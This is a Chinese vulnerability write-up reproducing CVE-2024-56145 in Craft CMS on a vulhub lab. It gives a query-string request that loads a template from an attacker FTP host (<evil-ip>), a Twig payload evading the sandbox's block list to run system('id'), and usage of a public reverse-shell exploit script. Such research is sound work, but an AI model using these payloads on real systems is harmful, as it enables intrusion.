漏洞介绍

Craft CMS是一个灵活且用户友好的内容管理系统,用于构建网站和应用程序。CVE-2024-56145是一个模板注入导致的远程代码执行漏洞,攻击者可以在受影响的系统上执行恶意命令,可能造成严重的安全威胁。

CraftCMS 5.5.2 和 4.13.2 之前的版本存在潜在的远程代码执行漏洞。当 PHP 环境启用 register_argc_argv 时,CraftCMS 会错误地从 HTTP 请求中读取配置项,攻击者可以使用 --templatesPath 控制模板文件,并利用模板注入导致任意代码执行。

漏洞范围

1
2
3
Craft CMS <3.9.14
Craft CMS <4.13.2
Craft CMS <5.5.2

漏洞靶场

使用vulhub的靶场:

vulhub-master/craftcms/CVE-2024-56145

使用版本为CraftCMS 5.5.1.1

启动靶场环境:

1
docker-compose up -d

服务器启动后,你可以在 http://<your-ip>:8088/admin/install 看到安装页面。请按照说明安装 CraftCMS,默认数据库地址为 db,用户名和密码均为 root

image-20250321185742545

漏洞原理

register_argc_argv 101

任何熟悉开发用于命令行的PHP的开发者都会熟悉$_SERVER['argc']$_SERVER['argv']。正如你可能猜到的,这些是特殊变量,当运行PHP脚本时,它们会被填充为传递的命令行参数。例如,如果你写一个简单的PHP脚本:

1
<?php var_dump($_SERVER['argv']);

然后运行php test.php foo bar baz,你将得到:

1
2
3
4
5
6
7
8
9
10
array(4) {
[0]=>
string(7) "test.php"
[1]=>
string(3) "foo"
[2]=>
string(3) "bar"
[3]=>
string(3) "baz"
}

这应该对有C背景的人来说很熟悉。但是如果你在Web服务器上托管这个文件呢?这由register_argc_argv配置变量在php.ini中控制。在PHP的默认配置中,register_argc_argv是开启的,PHP实际上会从查询字符串中获取argv,以空格分隔:

1
2
3
4
5
6
7
8
9
10
GET /test.php?foo+bar+baz

array(3) {
[1]=>
string(3) "foo"
[2]=>
string(3) "bar"
[3]=>
string(3) "baz"
}

然而,填充这个变量会带来性能损失,而且大多数Web应用程序不需要以这种方式获取参数。因此,大多数发行版和共享主机也会配置这个设置为关闭。如果register_argc_argv是关闭的,$_SERVER['argv']将不会被填充。如果你在本地环境中安装了PHP,并且现在测试这个,很可能$_SERVER['argv']将只是NULL。

如果你是一个开发者,想要测试一个文件是通过命令行还是通过Web执行的,你可能会被诱惑使用这样的测试:

1
2
3
4
5
6
if (isset($_SERVER['argv'])) {
// cli ...
}
else {
// web ...
}

这在某些时候会奏效!但它只有在register_argc_argv被设置为关闭时才会奏效。如果你在这个代码上在PHP的默认安装的Web服务器上运行,并且传递查询字符串,这个代码会认为它是在CLI下运行的。关键在于,Craft CMS的官方Docker配置了register_argc_argv = On。这为我们发现的漏洞埋下了伏笔。

定位漏洞

当请求Craft CMS应用程序的任何路径时,加载的非常早的文件之一是bootstrap/bootstrap.php。由于这个文件既引导了Craft CMS的Web部分,也引导了craft控制台命令,因此它会检查是否传递了一些命令行选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$findConfig = function(string $cliName, string $envName) {
return App::cliOption($cliName, true) ?? App::env($envName);
};

// 设置vendor路径。默认假设它从这里向上4级
$vendorPath = FileHelper::normalizePath($findConfig('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(__DIR__, 3));

// 设置包含config/、storage/等的“项目根”路径。默认假设它在vendor/的上一级
$rootPath = FileHelper::normalizePath($findConfig('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath));

// 默认情况下,剩余的文件/目录将在基目录中
$dotenvPath = FileHelper::normalizePath($findConfig('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? "$rootPath/.env");
//var_dump($dotenvPath);die;
$configPath = FileHelper::normalizePath($findConfig('--configPath', 'CRAFT_CONFIG_PATH') ?? "$rootPath/config");
$contentMigrationsPath = FileHelper::normalizePath($findConfig('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? "$rootPath/migrations");
$storagePath = FileHelper::normalizePath($findConfig('--storagePath', 'CRAFT_STORAGE_PATH') ?? "$rootPath/storage");
$templatesPath = FileHelper::normalizePath($findConfig('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? "$rootPath/templates");
$translationsPath = FileHelper::normalizePath($findConfig('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? "$rootPath/translations");
$testsPath = FileHelper::normalizePath($findConfig('--testsPath', 'CRAFT_TESTS_PATH') ?? "$rootPath/tests");

vendor/craftcms/cms/bootstrap/bootstrap.php#L30-L47

这将实际的检查委托给了App::cliOption,它看起来是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static function cliOption(string $name, bool $unset = false): string|float|int|bool|null
{
if (!preg_match('/^--?[\w-]+$/', $name)) {
throw new InvalidArgumentException("Invalid CLI option name: $name");
}

if (empty($_SERVER['argv'])) {
return null;
}

// 我们不应该依赖数组是完美索引的
$keys = array_keys($_SERVER['argv']);
$nameLen = strlen($name);

// ... 处理选项!...
}

vendor/craftcms/cms/src/helpers/App.php#L280-L324

这个函数根本没有检查我们是否真的在CLI中,这意味着我们可以通过查询字符串设置这些选项!作为一个快速检查,传递一个查询字符串如?--configPath=/aaa将迫使Craft CMS在不可访问的位置查找配置文件——在易受攻击的网站上,它看起来会是这样:

img

利用漏洞

这个漏洞本身并不深,可以相当快地跟踪和验证。但通向远程代码执行(RCE)的路径并不明显。作为安全研究人员,我们的直觉是,这个漏洞感觉像是RCE,但这里没有简单的胜利,因为我们只控制加载文件的前缀。在这一点上,我们尝试了几个“标准”选项,将本质上是任意包含升级为RCE。

Craft CMS在授权前没有明显的方式上传文件,所以上传恶意的.env似乎是不可能的。可能有一种方式通过PHP_SESSION_UPLOAD_PROGRESS技巧,这已经被广泛记录,但不清楚序列化格式如何作为dotenv文件工作,而且我们希望尽可能避免混乱的竞态条件。

下一个选项是用configPathtemplatesPath做点什么。这两个都加载可执行代码。控制加载路径的前缀,我们的第一直觉是使用http包装器远程包含一个文件,这可以执行代码。想法很简单:如果我们提供一个前缀如http://malicious.example.com/,那么服务器将请求一个文件如http://malicious.example.com/config/default.php,这完全在我们的控制之下。然而,在configPathtemplatesPath的情况下,Craft CMS会防御性地检查文件在加载之前是否存在,检查如下:

1
2
3
4
5
$path = $this->getConfigFilePath($filename);

if (!file_exists($path)) {
return [];
}

vendor/craftcms/cms/src/services/Config.php#L272-L276

根据PHP文档,file_exists不支持http包装器(它属于stat()),所以这个检查将始终失败。

img

如果你跟随当前流行的PHP利用趋势,你可能会想,我们是否可以使用一些php://filter技巧,但这也行不通,原因相同;php包装器不支持stat(),所以在加载任何东西之前,file_exists检查将始终失败。

到目前为止,使用包装器的当前障碍是,我们考虑的没有一个支持任何file_exists调用。那么哪些包装器支持这些调用呢?按照标准支持的包装器列表,并查看每个的文档:

  • file://支持stat(),但这显然没有帮助;
  • phar://也支持stat(),但我们无法轻松地将有效的PHAR文件走私到文件系统上;
  • ftp://确实支持一些文件系统调用,包括file_exists;有趣…

img

我们不能使用FTP包装器来包含配置文件,因为这最终会调用include,而FTP包装器被allow_url_include安全功能阻止。但我们可以用它来包含模板,这仅仅是通过简单的file_get_contents调用读取的。

为了测试,如果你请求Craft CMS应用程序的根路径,它将尝试加载default/index.twig。所以我们创建了一个允许匿名访问的FTP服务器,并提供了一个index.twig,内容如下:

1
hello world {{7*7}}

确实,我们可以看到Craft CMS加载了我们提供的文件,包括模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /?--templatesPath=ftp://a:a@our.malicious.server:2121/ HTTP/1.1
Host: localhost:8000

...

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 19 Nov 2024 00:10:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: Craft CMS
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 15

hello world 49

从这里开始,任务几乎变得简单,除了还有一个小障碍;如果你简单地粘贴一个Twig模板注入,比如以下内容,你可能会发现它似乎不奏效:

1
{{ ['id'] | filter('system') }}

这是因为Craft CMS试图对Twig模板渲染器进行一些沙箱处理,以保护免受恶意管理员用户(或可能在共享托管环境中)的攻击。作为其中的一部分,他们在src/web/twig/Extension.php中实现了一个检查,针对任何以函数名为参数的过滤器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private static function checkArrowFunction(mixed $arrow, string $thing, string $type): void
{
if (
is_string($arrow) &&
in_array(ltrim(strtolower($arrow), '\\'), [
'system',
'passthru',
'exec',
'file_get_contents',
'file_put_contents',
])
) {
throw new RuntimeError(sprintf('The "%s" %s does not support passing "%s".', $thing, $type, $arrow));
}
}

vendor/craftcms/cms/src/web/twig/Extension.php#L117-L131

然而,这当然并不是通过模板利用的真正障碍。有多种方法可以绕过这个限制,但我们使用了sort过滤器,它接受一个有两个参数的函数,并传递了以下内容:

1
{{ ['system', 'id'] | sort('call_user_func') }}

由于call_user_func被用作排序函数,它将被调用来比较'system''id',执行call_user_func('system', 'id')。这将调用system('id'),而不会直接将系统函数传递给过滤器。在我们的FTP主机上编辑文件以包含此有效载荷后,我们观察到我们已经实现了远程代码执行!

img

漏洞复现

要复现该漏洞,需要准备一个包含以下内容的 index.twig 文件并放置在任意远程服务器上:

1
{{ ['system', 'id'] | sort('call_user_func') | join('') }}

然后在 index.twig 文件所在的服务器中启动一个 FTP 服务器:

1
2
3
4
5
# 安装 pyftpdlib
pip install pyftpdlib

# 启动 FTP 服务器
python -m pyftpdlib -p 21212 -V

image-20250321190111791

然后你可以通过发送以下请求来利用该漏洞:

1
http://<your-ip>:8088/?--templatesPath=ftp://<evil-ip>:21212/

image-20250321195736044

id 命令被成功执行并返回了结果。

exp使用

https://github.com/Chocapikk/CVE-2024-56145/tree/main

1
python exploit.py exploit -u <TARGET_URL> -lh <LOCAL_HOST> -lp <LOCAL_PORT> -fh <FTP_HOST> -px <PAYLOAD_TYPE>

image-20250321205901655

成功反弹shell

参考

https://github.com/vulhub/vulhub/blob/master/craftcms/CVE-2024-56145/README.zh-cn.md

https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms